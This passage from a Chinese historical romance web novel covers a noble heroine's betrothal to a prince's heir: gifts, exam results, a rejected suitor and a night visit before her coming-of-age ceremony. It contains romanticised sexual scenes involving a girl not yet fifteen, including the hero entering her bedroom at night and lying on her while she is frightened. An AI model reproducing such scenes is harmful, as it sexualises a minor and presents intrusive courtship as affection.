到了京他便急匆匆的进宫参加宫宴,说是宫宴,其实只有皇帝皇后和太子夫妻,外加宋晏一个。 原计划是一月回京,可路上还是耽搁了些时间,一个半月的功夫才回来。 宋晏 的一颗心早就飞到林诗芸那了,但他走不了,他想趁着今日家宴将赐婚的圣旨给求了。 待得到皇帝伯父允诺林诗芸生辰那日给二人赐婚,皇后还心情不错的赏赐了一堆东西,宋晏喜不自胜地跪拜谢恩,这才满意的拉着太子哥喝酒去了。 太子看着堂弟笑的一脸没出息的模样,没忍住白了宋晏一眼,这又是买宅子又是给巨额聘礼的,皇家怎么就出了个这么个没出息的情种呢。 太子妃抱着小皇孙冷哼两声:“殿下这话说的,还不是皇叔给晏弟留下阴影了,妾倒觉得晏弟这样挺好的,至少后院干净,有了孩子也不出现什么下毒下蛊伤害孩子的事情。” 太子顿时哑巴了,他眸色暗了暗,最终只是叹了口气,讨好的接过太子妃手中儿子道:“太子妃别生气,孤已经派人严查下毒一事了,以后断不会再出现类似的事情” 有胆子给他的长子下毒,自然千刀万剐死不足惜! 不管外头是怎样的海晏河清,就这个深宫高墙,机关算计阴谋诡计都是少不了的。 宋晏在一旁低头喝酒,权当没听见,他遥望着天上的明月,他的芸儿此时是不是也像他一般,想念着他呢。 而此时正一口桂花酒就一口蟹肉的林诗芸突然打了个喷嚏,揉揉鼻子,丝毫不在意,心里感叹着还得吃不用自己扒的螃蟹啊,这一大口纯纯的蟹肉,也太过瘾了! 至于送螃蟹的人是谁,嗯她吃着喝着,知道人平安归来后便一点也没再惦记了。 那一封封的信又不是白写的,她知道他好着呢。 中秋节过后这日便是林父生辰,虽不办什么宴会,但是姚君远还是早早的带着礼物上了二房。 郑子墨也是个会来事的,有了姚君远的通风报信,这种见未婚妻的绝佳机会他必然不会放过。 宋晏也是不请自来。 当然了,是姚君远给他递的消息。 宋晏觉得自己是非来不可的。 一来他外出刚归,十分思念心上人。若不是已经允诺过芸儿不再做无礼之事,昨夜他就想翻墙过来的。 二是岳父大人的生辰,他哪有不去的道理。虽然他现在的身份有些名不正言不顺,但是半月之后芸儿及笄,他便成了准女婿,提前上门给岳父庆生又怎么了。 他是一点也不拘束的,反正他那点心思已经完全曝光在众人面前了,无论是在长辈还是小辈面前,他早已经拿自己当定安侯府的女婿了。 他一进定安侯府便看到狗腿似的站在林诗情身边的姚君远,和正跟林诗瑶献殷勤的郑子墨,心中是不自觉的腹诽,老子不比这两个玩意优秀多了!他就该光明正大的出现在芸儿身边! 虽说林父接受了宋晏做自己女婿,但是这突然在自己府上看到宋晏,心里又不大乐意。 尤其是看到小女儿见到宋晏那开心到不能自已的面容,心里就更酸了。 宋晏心中有数,对于林父的眼刀子全数恭敬收下,并且亲手送上了贺礼。 宋晏一出手便知有没有,他一挥手,身后的小厮抬了个黄花梨木箱子出来。 小厮将箱子打开,好家伙,里头竟是一箱子的孤本 要不说送礼就得送巧呢,宋晏这一送,完全送到了林父的心吧上了。 林父心脏直颤,林景行和林景明各捧着一本前朝名家的遗作倒吸一口冷气,不是,这玩意还真有啊?这不都是传说中的东西吗?竟然还真有传世著作? 林父怀揣着激动的心情,忙小心翼翼的叫儿子和侄子将这些孤本收好,嘴上敷衍道:“叫世子破费了,” 之后便摆摆手叫宋晏不要客气随便坐,接着林父三人竟扔下客人直接抬着箱子走了,下人想帮忙林父都没让。 姚氏有些尴尬,刚要说些什么便见宋晏又一摆手,指着几个丫鬟捧着的水粉道:“许久未见姑母,这是昨日晏儿从宫中带来的脂粉,皇后娘娘叫晏儿一定要亲自送到您手里,晏儿虽觉得姑母尚年轻,用不到这些,但是皇后之命不可违,晏儿今日便给您送来了。” 这,宫中的秘制脂粉香膏,哪个女子能不喜欢的? 这还不是送了一点,哎吆,这么一堆,姚氏嘴角有些颤抖,忍着笑道:“晏儿说的是,多谢皇后娘娘赏赐,我便收下了。” 姚氏咳嗽一声,对宋晏道:“晏儿不经常来咱们府上,今日且叫芸儿陪着你四处逛逛,待一会开席可要多用些啊。” 宋晏忙不迭称是,林诗芸从屏风后头蹦跶着出来了,姚氏全当看不见林诗芸那高兴的模样,带着一堆的脂粉走了。 她知道这些定是宋晏向皇后娘娘求的,心中对这个未来女婿也加满意了。 哎吆,这么多呢,叫她瞧瞧哪些给母亲送去,哪些给嫡姐,哪些给老太太,各房都分一些还能剩呢! 林诗芸眨巴着眼睛,悄咪咪的对着宋晏伸出了个大拇指。 宋晏望着日思夜想的心上人,没忍住靠近林诗芸,利用还算肥大的衣袖悄悄的握住了林诗芸的手。 林诗情在一旁咳嗽一声,想要开口说些什么,姚君远忙牵住了林诗情的手道:“离开席尚早,表妹带我出去逛逛吧。” 言罢还朝宋晏眨巴下眼睛,低声下气的将林诗情给哄走了。 林诗情虽然有些不高兴,但还是给了姚君远面子,任由他牵着自己的手往花园里去。 姚君远小心翼翼讨好道:“表妹莫生气,晏哥儿也挺不容易的,昨日才刚回来,王府冷冷清清的,便叫芸儿陪晏哥儿说会话可行?” 这俩人还真是好兄弟。 林诗情知道林诗芸定也是想见宋晏的,点点头反手握住姚君远的手道:“嗯,表哥不是还想看我爹养的锦鲤?走吧,锦鲤已经没剩几只了,倒是大肥鲤鱼多了不少。” * 二房的正厅只剩下林景晟牵着林景贤眼巴巴的看着宋晏。 宋晏朝着二人挑眉,外头小厮已经捧着两个匣子进来了。 二人忙不迭的上前接过,林景晟更是一口一个妹夫,林景贤一口一个姐夫的叫着,二人也不管宋晏和林诗芸在干嘛,欢欢喜喜的各自的匣子一起跑了 林诗芸靠在宋晏的肩头轻笑,“我三哥哥还跟小孩子似的,你送了他们什么?他们好像都很高兴。” 宋晏轻轻刮了刮她的鼻尖,“自然是送了他们都很喜欢的东西啊,月余未见,芸儿可想哥哥了?” 林诗芸咳嗽一声站直了身体,歪着头四处瞅了瞅,见丫鬟婆子都不在,这才红着脸轻轻点了点头。 林诗意有些不高兴。 这一个个的全都成双都对的,只有她自己一个人。 她无趣的看着地面,心情实在说不上好。 只见一个丫鬟匆匆忙忙跑来,手上拿了一封署名为魏静儿的信件。 林诗意欣喜的接过,转头便回了自己屋子。 虽然还未打开信件,但她心中已经十分甜蜜了。 半月后出榜,到时候,到时候他便能正大光明的上门来。 谁像那个端王世子,没脸没皮似的,堂而皇之的便上门。 嗯,还是魏公子知礼。 这边厢躲屋子里看心上人的信件呢,那边厢林诗芸被宋晏带出来府。 走的不远,就去了隔壁院子。 林诗芸不明所以的看着正在装饰的院落。 宋晏挥挥手叫人将大门关上,正大光明的牵上了林诗芸的手。 另一只手指着这院子道:“这院子已经是芸儿的了,大婚后若是不想住在王府,咱们便住在这可好?” 宋晏咳嗽一声,想到大婚,耳尖已经有些红了,“虽然小了些,但同侯府只一墙之隔,咱们想回娘家便回了,芸儿可喜欢。” 林诗芸自然喜欢,点着头道:“晏哥哥想的真周到,芸儿很是喜欢。” 言罢她便放开了宋晏的手,跟只小蝴蝶似的欣喜逛开了。 宋晏嘴角上扬着看着她,林诗芸指着前头的一片竹林道:“竹子是雅致,但是我不喜欢,拔了吧,种些桃树梨树结果子吃才好,竹笋这种东西吗,还得亲自去山上挖的。” 林 诗芸一点也不客气的模样叫宋晏很是受用,他笑着点头称好,吩咐一旁跟着的管家记下。 林诗芸又来到了花园,看着一地的花花草草嘟了嘟嘴,“这个我没有研究,但瞧着挺好看的,便留着吧,不过旁边那个月季我不喜欢,拔了全部换成牡丹和芍药吧,旁边再种两颗海棠才好。” 宋晏点头,对管家重复刚才的话,他看着林诗芸的目光宠溺,毫无敷衍之色。 接下来,林诗芸对于观景湖和各个角落也都提出了自己的看法,管家依次记下,林诗芸觉得有些累了,这才住了嘴。 宋晏摆摆手叫所有人下去,牵着林诗芸的手将人带到了一处凉亭,林诗芸喝着宋晏给倒的茶水,舒服的晃了晃脑袋。 宋晏站到她身前,低头望着她道:“芸儿可还口渴?” 林诗芸看着他摇摇头,宋晏轻声道,“哥哥也渴了,芸儿给哥哥也止止渴可行?” 林诗芸眨巴着眼睛,点点头,伸手想去给宋晏倒水,却见宋晏直接弯下要来,手指捏住了她的下巴,紧接着便覆上了她的唇。 二人唇齿相融,水声渍渍作响,林诗芸恍然大悟,哦,原来情侣之间都是这样止渴的啊。 第66章 乡试出榜那日林诗芸跟着林景行早早的出了门。 宋晏早就定了贡院对面的茶楼,已经等在里头了。 林景晟肯定也是要凑这个热闹的,他正骑着马在前头往贡院贴榜的地方飞奔。 其余林家人都算得上是沉得住气的性子,俱是在府上等着官差报信呢。 林诗芸怕大哥紧张,正坐在林景行旁,说着俏皮话哄大哥开心。 其实已经林景行早就将三场考试的试卷默写出来同几位大儒看过,他胸有成竹,他的名次,定不会跌出前三。 至于是不是第一名真的没那么重要。 待到来年的春闱,同天下学子做较量,才是能看出他真正实力的时候。 雅间内三人有一搭没一搭说着话,耳朵却都是支楞着盯着外头放榜的。 离林诗芸及笄还有两日,林景行的好名次能叫侯府众人大喜,待林诗芸及笄时陛下赐婚,便是喜上加喜。 一阵敲锣打鼓,短暂的安静过后便见官差已经贴好了榜单。 底下便开始了大声的喧哗,有跪地嚎啕大哭的,有激动的同父母兄弟相拥的,有懊悔的激愤的,也有大吼大叫着自己考上或是没考上的,大悲大喜,在此时便体现的淋漓尽致。 林诗芸皱着眉头看底下过于热闹激动的人群,心里有些担心会不会出事,宋晏捏了捏她的手,轻声道,“别担心,官府很有经验,早有官差和大夫在一旁侯着呢,出不了什么事情的。” 林诗芸轻轻点头,便见林景晟正往他们的方向奔来,小身板在人群中边挤边嗷嗷,大哥考了第二名!第二名! 林诗芸笑着挑眉看向大哥,小脸上写满得意,看吧,她就说嘛,大哥哥定能考第二名! 耳畔是宋晏的恭喜,林景行笑着揉了揉妹妹的头,还未言语外头便传来了小厮的声音,“世子,咱们该回府了,一会报喜的官差便要到了。” 林景行点点头,转身朝宋晏道,“如此,我小妹便交给你了,待一会儿下头不那么拥挤时你们再回去。” 宋晏恭敬行礼,知道这是大舅哥在给自己制造单独相处的机会呢,他心里想着还得叫人回府再抬一箱孤本来,给林景行做亚元的贺礼才是。 乡试第一名叫解元,第二名叫亚元,第三四五名叫经魁。 宋晏将窗户关上,不叫林诗芸看外头的人生百态。 林诗芸叹了口气,心中微酸,“晏哥哥,刚才我看到一个满头白发的老者在哭,他应是没中,满脸的风霜,哭的我难受急了,不知道,他还能不能有下一次了……” 下次便是三年后,她不知老人缘何这般执着,就为了举子的身份吗? 宋晏将她搂进怀里,亲吻着她的额头道,“芸儿为何会这般问,人有执念是好事,那执念,或许能叫他长命百岁。” 林诗芸哦了一声,觉得是这么个道理,心中也便不再纠结。 她懒懒的抱上了他的腰,将头埋进了他的怀里,感受着他怀抱的温暖,渐渐生出了困意。 林诗芸在他怀里蹭了蹭,调整了个舒服的姿势,她想睡觉。 为了出门她可是起了个大早,如今得到了她想要的消息,心无旁骛,她便犯起了懒。 宋晏轻轻抚了抚她的背,轻声问道,“可是困了?哥哥带你出去逛逛可好?” 林诗芸眯着眼睛仰起头,撅着嘴吧一脸认真道:“可是我还要回府领赏呢,大伯说我说中了大哥的名次便给我五百两的,爹爹说给我二百两。” 宋晏被她贪财的小模样给逗笑了,轻轻亲吻着她明显快要睁不开的眼睛,“侯爷和林大人又跑不了,如今下头堵着呢,咱们的马车动弹不得,哥哥先陪你逛逛附近的店铺可行?你爱吃的点心铺子便在附近,哥哥带你逛逛,买上一些?” 林诗芸嘟了嘟嘴,勉为其难的点点头,宋晏挑眉道,“可还是困?” 林诗芸耷拉着眼皮点点头,宋晏却道,“哥哥有不困的方法,芸儿可想试试?” 林诗芸这才看向他,眼中写满了什么好奇。 却见宋晏嘴角含着笑,对着她的唇径直吻了下来。 他的舌在她口中扫荡,像是突如其来的暴雨让她发昏的脑袋瞬间清明。 林诗芸傻傻地想,嗯,接吻确实是能醒盹。 宋晏的吻逐渐强势,林诗芸顺从自己的心意,双手本能的攀上了他的脖颈,偷偷垫起了脚尖配合的加深了这个吻。 这一吻炽热而甜蜜,窗外的喧闹都已与他们无关,他们沉醉在彼此的世界里,温柔缱绻又极致享受。 一吻结束,林诗芸趴在宋晏肩头喘气,宋晏坏笑着低头在她耳边轻声道,“芸儿可还困了?哥哥的方法好不好?” 林诗芸哼了一声,一口咬住他的肩头叫他不准再说了,困是不困了,但是她的脸又红又烫的,腿软的不得了,逛个屁的逛! 此时的定安侯府。 林景行到时来送喜报的官差也到了,定安侯身旁的管家早就送上了沉甸甸的喜钱,还有小厮搬来了一筐的铜钱在大门处开始撒,一时间定安侯府门外是锣鼓喧天好不热闹。 这边官差刚走,热闹还没散开便见又一队人马敲锣打鼓来了。 为首的是一身绯色长衫的清秀男子面带春风急促而来,一旁的胖媒婆一边走一边挥着手中的帕子,远远地便听见了媒婆同看热闹的百姓说话地声音。 “是是,是魏侍郎府上的二公子,对,考了十二名,一十二名!” “我们是去提亲!大家伙同我们一起去提亲去啊!去谁府上啊?哎吆,定安侯府啊,给咱们魏二公子求娶侯府三姑娘呢!” “好好,同喜同喜,快快,多撒些喜糖,大家都甜甜嘴啊,” 大家伙一听这又是去定安侯府提亲的,呼啦啦的一群人又跟了上来,大人孩子跟了一群。 众人见魏承泽相貌堂堂一表人才,又听说魏承泽秋闱考了个十二名,免不了的伸出了大拇指来夸赞,心中也是好奇的,不知这位侍郎家的公子能否被定安侯府允了婚事啊,毕竟那定安侯府大姑娘定得是侯府,二姑娘定得国公府,三姑娘难道会下嫁? 看热闹的,讨喜糖的,好奇心甚重的,便都跟着去凑这个热闹。 魏承泽长这么大第一次这般高调。 徒步从自家府上走到定安侯府。 刚接到官差的报喜他便出发了,急匆匆的走了一刻钟了,竟然一点也没觉得累,甚至觉得浑身充满了力气。 旁边的媒婆为了那三倍的喜钱也不觉得累,吆喝的是十分卖力,嘴巴是又甜又利索。 很快一行人便到了定安侯府。 彼时的定安侯刚坐下便接到了通传,说是魏侍郎府上的二公子带着媒婆上门了。 定安侯的脸 上笑容更甚,摆摆手叫下人将人请进府。 今日双喜临门啊! 魏承泽早就差了小厮前来报信,十二名,也是不俗的名次,虽然比不上大儿子,但也算是十分不错了,来年春闱也定是能榜上有名的。 三女儿眼光不错,此子算是,芸儿那丫头嘴里的什么来着,对,潜力股! 林诗意一脸娇羞的躲在屏风后头,林诗瑶和林诗情二人笑着摇头,这才认识多久啊就情根深种了。 魏承泽也不用媒婆多言,进了屋扑通一声便跪下了,对着侯爷夫人便是一番表白对林诗意的心意,言语真挚,态度诚恳,更是延续了大姐夫二姐夫的美好传统,将不纳妾不滥情一事写进了婚书,侯爷和侯夫人俱是一脸的满意。 连一旁陪衬的林父都没忍住点了点头,不错,真诚果然更能打动人心。 这边刚要交换庚贴,那边却见又有下人进来通报。 管家听完小厮说话明显征楞了片刻,又问了一遍确认无误之后才敢进屋传话。 管家也算是见过大场面的,躬身道:“启禀侯爷,此次乡试一名的庄解元正带着媒婆等在府外,说是,说是来提亲来了。” 一时间屋内的所有人都静默了一瞬,林景行反应过来皱着眉头道:“你说谁?” 管家又重复了一遍 魏承泽登时便变了脸色,屏风后的林诗意更是激动的跑了出来,焦急的抱着定安侯的胳膊道:“爹爹,您,” 定安侯却是拍了拍女儿的手,淡定的对管家挥挥手道:“岂能叫庄解元等在外头,你且先将他请进来,待问清之后再说。” 林诗意一听还要将人请进来,都快急哭了,只见定安侯却是淡定对女儿道:“一家女百家提,庄解元上门便上门了,说明我儿优秀,爹爹心里有数,” 他接着对已经急出汗来的魏承泽道:“贤侄的庚帖何在?这庚帖一换,这事便定了,贤侄不必担心。” 魏承泽忙不迭的从怀里取出庚帖颤抖着双手封上,侯夫人帮小女儿轻轻擦了擦眼泪,又笑着将林诗意的庚帖递了过去。 魏承泽双手恭敬接过,一颗心这才踏实,又扑通一声跪下对着定安侯和程氏砰砰的磕了两个响头,给那胖媒人疼的直抽冷气。 林诗意心疼,忙上前将人给扶了起来。 而恰时此时,庄子文也被管家领了进来。 魏承泽生怕刚出炉的未婚妻给人抢了去,忙不迭的双手将林诗意给护在身后。 林景行看三妹的庚帖已经交换心里也是松了口气的,待庄子文向厅内几位长辈问好后便开口问道:“庄兄可是弄错了?怎得在今日来我侯府上门提亲?” 林景行此时虽然生气,但觉得其中应是有什么误会的,不然庄兄怎会如此大胆,一个穷举子敢肖想他侯府千金? 庄子文却抱拳道:“庄某并未弄错,庄某特地在今日前来,大着胆子求娶贵府四姑娘,待来年春闱,庄某有信心考取状元,到时必,” “谁?你说你要求娶谁?!” 林怀诚本来正看热闹呢,待听清这人要求娶的是谁后登时便气的吹胡子瞪眼,什么玩意就敢求娶我闺女了!这么个玩意又老又丑的!自己长什么样不知道吗!家里没镜子还没尿?? 林父是一脸的气急败坏,他刚要开口骂人便被姚氏给制止住了。 庄子文想开口解释,可是没有机会。 林诗瑶和林诗情两个已经急匆匆的从屏风后头跑出来了,郑子墨和姚君远两个是拉都没拉住。 林诗瑶气的直接开喷:“你多大年纪你就想娶我四妹妹?我看你是长得丑你想的美!” 林诗情气呼呼附和:“你有二十五了吧?我四妹妹还没及笄呢,我们家又不缺爹!” 被魏承泽给护在身后的林诗意冒出个头,气闷道,“就是!我四妹妹那是天上的月,同你有云泥之别!我看你是痴心妄想!” 烂**想吃天鹅肉! 程氏和姚氏轻斥三个女儿,叫三人收敛一些。 边上庄子文带来的媒婆抿着嘴,恨不得将自己给埋进土里,是一句话都不敢说的。 庄子文被三姐妹骂的是脸一阵青一阵白,他今日上门是有些突然,但他也是真心求娶的,这,怎么同他想的不甚一样呢? 他可是状元之才,虽说穷了些,但是待他高中之后便好了啊,他有俸禄,定能叫她锦衣玉食的。 在门口看热闹的林景晟一看情况不对忙跑了,他得赶紧去跟四妹妹通风报信去,省得一会叫四妹夫碰到就不好了。 而就在此时,林诗芸和宋晏也已经下了马车,林诗芸正蹦蹦跳跳的往正厅里去呢。 第67章 宋晏将林诗芸扶下马车。 小厮要去抱马车内的一堆礼盒的时候却听到林诗芸哼了一声。 宋晏冲小厮摆摆手,宠溺的看了林诗芸一眼,自顾自将礼物抱在怀里。 一众下人不敢抬头,这哪是平日里高冷的端王世子啊,被四姑娘都快训成狗了,那被虐了还唇角带着笑的模样,跟他们家大黄似的。 远远地,候在大门处的管家便看到了再四姑娘身后拎着一堆东西端王世子,管家一看这还了得,忙要上前接过,林诗芸都没发出动静,宋晏便对管家摇头道:“无碍,你退下便是。” 管家见这位乐意受累,也没再多言,他还在思趁如何委婉告知正厅里头来了一位给四姑娘提亲的,管家尚未开口呢便见林景晟小跑着过来了。 “四妹妹,府上来了个神经病向你提亲来了,被大姐姐她们骂的狗血淋头,你还是去后院吧,省得被缠上了。” 林景晟刚说完,林诗芸身后的宋晏便停住了脚,他脸色虽丝毫未变,瞧着还是挂着温和的笑容,但熟悉他的都知道他那笑是十分不走心的,抱着盒子的手也在使劲。 心里分明已经风起云涌,恨不得马上去看看是谁这么大的胆子敢来跟他抢人! 宋晏对一旁的管家道了句劳驾,便要将手上的东西递过去。 林诗芸撇撇嘴,她不用瞧都知道宋晏不高兴了,男人嘛,都很小心眼的,她懂。 她白了林景晟一眼道:“三哥作何咋咋乎乎的,我去后院作甚?” 林景晟没发现宋晏的异常,傻傻问林诗芸道:“你不生气?不过你要是好奇的话三哥可以给你说说是谁。” 林诗芸摇摇头,脸上写满了诚实,“我作何要好奇,我有喜欢的人了啊,这世上还能有比晏哥哥还要好的男子了?任谁说有我都是不信的,爹娘知我心意,定也不会允了旁人的亲事,” 她递给林景晟一个你且放心的眼神,话却是说给宋晏听的。 宋晏被吊成了翘嘴,心中的怒火在刹那间消散,轻咳一声又从管家的手里接过了给林诗芸买的东西,嘴角都快要咧到耳根了。 林诗芸却还在一本正经的输出,“至于生气,我长得这么好看,有人上门提亲不正常吗,我才不生气呢。” 林诗芸眨巴着眼睛转过头问宋晏道:“晏哥哥可好奇?咱们可要过去看看?” 一个咱们又将宋晏哄的心花怒放的。 他走到她身前摇摇头,眉眼俱是兜不住的笑意,“不了,芸儿这般好看,有人上门提亲是正常不过的事情,晏哥哥不好奇,咱们还要给芸儿拆礼物呢,便不将时间浪费在无关紧要的人身上了。” 一句无关紧要,便 给事情定了性。 他是个大度的男子,才不会跟些跳梁小丑计较。 林诗芸笑眯眯的点头,啊了一声转头对林景晟道:“三哥哥和我们一起吧,晏哥哥叫人买了好多小玩意呢,咱们快找个凉亭拆开看看都有什么东西。” 林景晟挠了挠脑袋,觉得林诗芸和宋晏说的话都很有道理,那个上门提亲的,可不就是无关紧要之人吗,这么想着他便伸手去接宋晏手上的礼物,同二人一起找地方拆盲盒去了。 这盲盒,是因为宋晏将林诗芸亲软了腿没法出门,宋晏便着人买了一条街来哄人的,当然了,不光哄林诗芸,林诗芸的兄弟也被他给成功的哄到了他这一头。 而正厅内看了半晌戏的定安侯终于开口,假惺惺地训斥三个姑娘,“不得无礼!去去,都回后院去!” 林诗瑶朝庄子文翻了个白眼,哼的一声撇撇嘴走了,郑子墨赶紧跟上。 林诗情则面无表情的看了庄解元一眼,那眼神仿佛在看什么垃圾一般。 姚君远倒是没忘跟众位长辈行礼,这才跟着林诗情走了。 躲在魏承泽身后的林诗意拽了拽未婚夫的衣裳,程氏看着二人的互动笑道,“意儿陪承泽在府上逛逛,烦请媒人去偏厅坐一会,一会便开席。” 魏承泽带来的媒人忙笑着点头称是,跟着下人走了。 庄子文带来的媒人脸快要趴在了地上了,她是走也不是留也不是。 她那会儿就不该往这位解元身前凑啊!她和这位就住在同一个胡同,今日原本想近水楼台将自己侄女介绍给这位的,但她刚一凑近庄解元便叫自己跟着他走,说是有了心上人要去提亲。 她心想这可是大好事,还能挣上一笔呢,可没成想你提就提啊,你跑到人家侯府来做什么啊! 不说你这还没中状元,你便是中了状元又能怎得?人家侯府千金还能看上你个毫无根基的了?话本子看多了吧你! 庄子文确实是冲动了,鲁莽了。 官差还未到他家门前,便已经有得到消息的商贾上门了,什么金银财帛布匹收到手软,竟还有送香车美人儿的,他婉拒了一些便由着族中长辈招待贺喜之人。 只是待打发走送喜的官差,眼看来的人越来越多,他便想办法脱身,这不,接着便有媒婆挤到他身前了。 他脑海里顿时便浮现出林诗芸俏丽的身姿,也不知是谁给他的勇气,他同族老们说有事,带着媒婆便走了。 他满心欢喜的上了定安侯府,鼓起勇气同定安侯提了亲事。 只是他没想到,侯府众人对他的评价如此之低,一时间被骂的有些难以抬头。 庄子文神情恍惚,被定安侯唤了两声才给唤回神智。 定安侯道:“庄解元难得来府上一趟,刚才的事暂且当做玩笑便过了,你同景行也算好友,便叫景行带庄解元去书房坐坐,用过午膳再走吧,” 定安侯同长子使了个眼色,又对长子道:“来贺喜的有本侯同你二叔招待,你且好生带庄解元逛逛。” 林景行点头带着人走了。 至于媒人,不消定安侯发话,程氏身边的婆子已经递了赏钱过去,笑着将人请出了府,“劳累您走这一趟,这些银钱留着您吃茶,今日这事纯属乌龙,还请您不要客气。” 那媒人自然见好就收,垫了垫沉甸甸的荷包顿时喜笑颜开,说了几句吉祥话之后便高兴的离开了侯府。 至于庄解元,是好看是难看又关她何事呢,这一荷包的银子可是比她说成个媒给的都要多多了,到底是侯府,出手果然大方! 姚氏着看着还黑着脸的丈夫嗔怪道:“好了,又不是真叫你将女儿嫁给他,我看这庄解元人也不坏,就是性格太直,太不会说话了。” 俗称一根筋,死心眼,智商很高但是情商极低。 林父哼了一声,“什么玩意也敢肖想我女儿啊,都能生出我闺女来了,个不知羞的!” 定安侯捋着胡子过去开导二弟,一旁程氏忍着笑拉着姚氏走了,今日这事闹的,又惊又吓的,还好魏承泽来的早,不然喜事就不那么喜了。 林景行带着庄子文走在去书房的路上,庄子文叹了口气,抱拳向林景行道歉,“林兄助我良多,是庄某今日冲动了,还请林兄不要放在心上。” 林景行不甚在意道:“我倒是未放在心上的,毕竟我这几个妹妹,都是貌美如花,追求者众多,我要是生气可有的生了,” 说完二人都笑开了,林景行又道:“我三个妹妹的话庄兄也不要放在心上,她们同我一样,都是最紧张四妹妹的,不过庄兄,我四妹妹有心上人,庄兄还是,嗯,换个人喜欢吧。” 庄子文重重点头,他确实又老又丑,还是不要痴人说梦了。 “庄某晓得,自然不会了。” 只听不远处的凉亭内几声清脆悦耳的笑声传来,他们微一转头便看到了一副热闹的景象。 十五六岁的妙龄少女正聚精会神的看着眼前的礼盒,待打开看清里头的东西时顿时笑的合不拢嘴眼睛都弯成了月牙儿。 林诗芸看着盒子里巨大的陀螺直接笑的趴在了宋晏的肩头,林景晟同林小弟二人也是爆发了惊讶的呼喊声,“哎呀,这是从哪里找来的陀螺,这么大一个,得拿什么东西才能抽动啊!” 林小弟双手使劲将陀螺给抱在了地上,林景晟拿出来盒子里的长鞭,同林小弟对视一眼,林小弟严肃着一张脸点点头,连忙跑开了,林景晟手上加大了力道开始抽陀螺。 一下,没抽动。 两下,还没抽动。 三下,陀螺还是纹丝不动…… 林诗芸趴在宋晏肩头都已经笑出眼泪来了。 宋晏笑着轻轻扶住了她的腰,好叫她不要摔倒,林诗芸却突然跃跃欲试起身嚷嚷着她也要试试,宋晏便站在一旁笑看着她,神情专注温柔,大概这便是,一个在闹,另一个在笑的真实写照吧。 庄子文张了张嘴,这便是她的心上人吗,那人一席白衣站在她身旁,身高腿长贵气十足,再看那张脸,真真是面如冠玉目若朗星,这,还真是天造地设的一对啊。 确实叫他自惭形秽。 林景行是故意带庄子文走这条路的,刚才管家跟他递了眼神,他便知道芸儿同宋晏都在这呢。 这不,庄兄见了宋晏的脸,顿时消了求娶的心了。 林景行忍笑,轻咳一声道,“那位便是我四妹妹的心上人了,端王世子宋晏,是陛下最疼爱的侄子,” 林景行的话颇为风轻云淡,像是随口一说的语气,“世子同我四妹妹情投意合,早就向陛下求了赐婚,待过两日我四妹妹的及笄礼时便来颁旨了。” 庄子文便是再迟钝再愚昧此时也是被惊出了冷汗的,这,也难怪三位姑娘骂他了,他便是吃了熊心豹子胆也不敢去跟天潢贵胄抢人的。 林景行说话点到为止,“走吧庄兄,前头便是我的院子了,前几日四妹夫送了不少孤本过来,庄兄可有兴趣看看?都是传闻中的传世大作呢!” 庄子文眼睛顿时铮亮,自动忽略了那句四妹夫,忙不迭跟上林景行的脚步,心中的失落也因为传世大作几个字而烟消云散。 深夜。 暗卫跪在宋晏身前恭敬道,“世子,可要给那个不长眼的解元一些教训?” 宋晏手上抚摸着今日从林诗芸那顺来的荷包,挑挑眉,“跳梁小丑罢了,还不值得我动手,你且差人注意着,若他死性不改还对芸儿有痴心妄想,来年还想考试?呵,便叫人将他的扔出京城去,永不得回京。若他老实,那便叫他考,本世子还想看看他是不是如他大言不惭那般,有状元之才呢。” 若对江山社稷有用,留下他也不是不行。 小小蝼蚁,在上位者面前,是最不值一提的东西。 暗卫闪身便没了影,宋晏想到还有两日便是芸儿的及笄之礼,整个胸腔又开始激动起来,将荷包塞进胸口,抬头看了眼窗外,今夜月色不错,不若,翻个墙? 不行不行,今日刚从侯府回来,不若明日? 宋晏在屋子里转来转去的,身下渐渐起了火,能看不能吃,他不饥渴谁饥渴啊! 苦笑摇头,最后还是息了翻墙的心思,转身去了净室手动解决满腹激情去了。 第68章 明日便是及笄礼了。 林诗芸有些睡不着。 她这一整天都挺激动的。 跟只蝴蝶似的,在三个姐姐和姨娘的院子里乱飞,待飞的累了才回了自己院子。 她的身体很累,但她还是睡不着。 她上辈子就活了十八岁,死时刚过十八岁的生辰,也算是成人了。 这辈子明日也便成人。 成人,便代表了可以成婚生子可以独当一面。 她感觉成婚生子对她来说有些魔幻了。 诚然她是爱宋晏的,但她两辈子二十多年的人生,对成婚这件事,她觉得充满了不确定性。 兴 许是太过激动了,她心中很忐忑,甚至有些不安。 几个姐姐们订婚不久便定下成婚的日子了,她应该也会是吧,她要是成亲了,爹爹娘亲应该会很舍不得,还有姨娘,姨娘马上临盆,也不知道姨娘给她生个弟弟还是妹妹,她是觉得都可以的,不过最好是生个弟弟吧,也叫姨娘的下半生有个依靠。 她这边想的乱七八糟牛头不对马嘴,一会是成婚一会是爹娘姐姐,她连成亲之后的琐碎的小事都想了起来,丝毫没注意那边窗户的吱呀一声。 待她注意到床榻前的身影的时候已经晚了,她吓的差点尖叫出声。 幸好宋晏眼疾手快的将她的嘴巴给捂住了,这才没在定亲前一晚闹出丑闻来。 林诗芸气的张嘴便咬住了宋晏的手指,宋晏知道自己不对,愣是没敢吭一声的。 林诗芸恶狠狠的咬了两口,呸了一声叫宋晏起开。 宋晏没起,反倒是低头亲吻了她两下。 林诗芸这才注意到了二人现在的动作,宋晏压在她身上,她又羞又恼的推搡着男人,“你赶紧起来,这成何体统!” 宋晏却是没动的,他将自己的头埋在林诗芸脖颈间,小声道:“芸儿,我好激动,激动的夜不能寐,我好想你好想你,恨不得现在就要/了你。” 林诗芸哪能没感受到身上人的异常呢,她僵硬着身子,一动也不敢动,嘴上结结巴巴道:“晏哥哥,你,你这样不对,咱们还未成亲呢,你快起来好不好,我,我有些害怕。” 隔着轻薄的锦被林诗芸都能感受到他身上的热烈和异常,又闻到他身上的酒气,心里知道这人同她一样是激动的,但心里还是怕他做出格的事情。 宋晏一听林诗芸的声音里带着哭腔便知道她吓坏了,忙从林诗芸身上起来,手足无措的开始哄。 “我,芸儿别哭,我就是,就是太激动了,” 林诗芸抱着锦被坐起身子,她抽抽鼻子气鼓鼓的叫宋晏转身不准偷看,自己则起来去找外衣披上。 这狗东西是被她宠的无法无天了! 大半夜的又开始翻墙!这还没定亲呢,要是定亲呢那还了得!他不得霸王硬上弓啊! 林诗芸刚穿上衣裳便径直走到宋晏身前,踮起脚就揪上了男人的耳朵,林诗芸用了大力,宋晏疼的抽了一口冷气,林诗芸凶巴巴道:“我怎么说的来着!叫你不要再翻墙!你说!以后还敢不敢了!!” 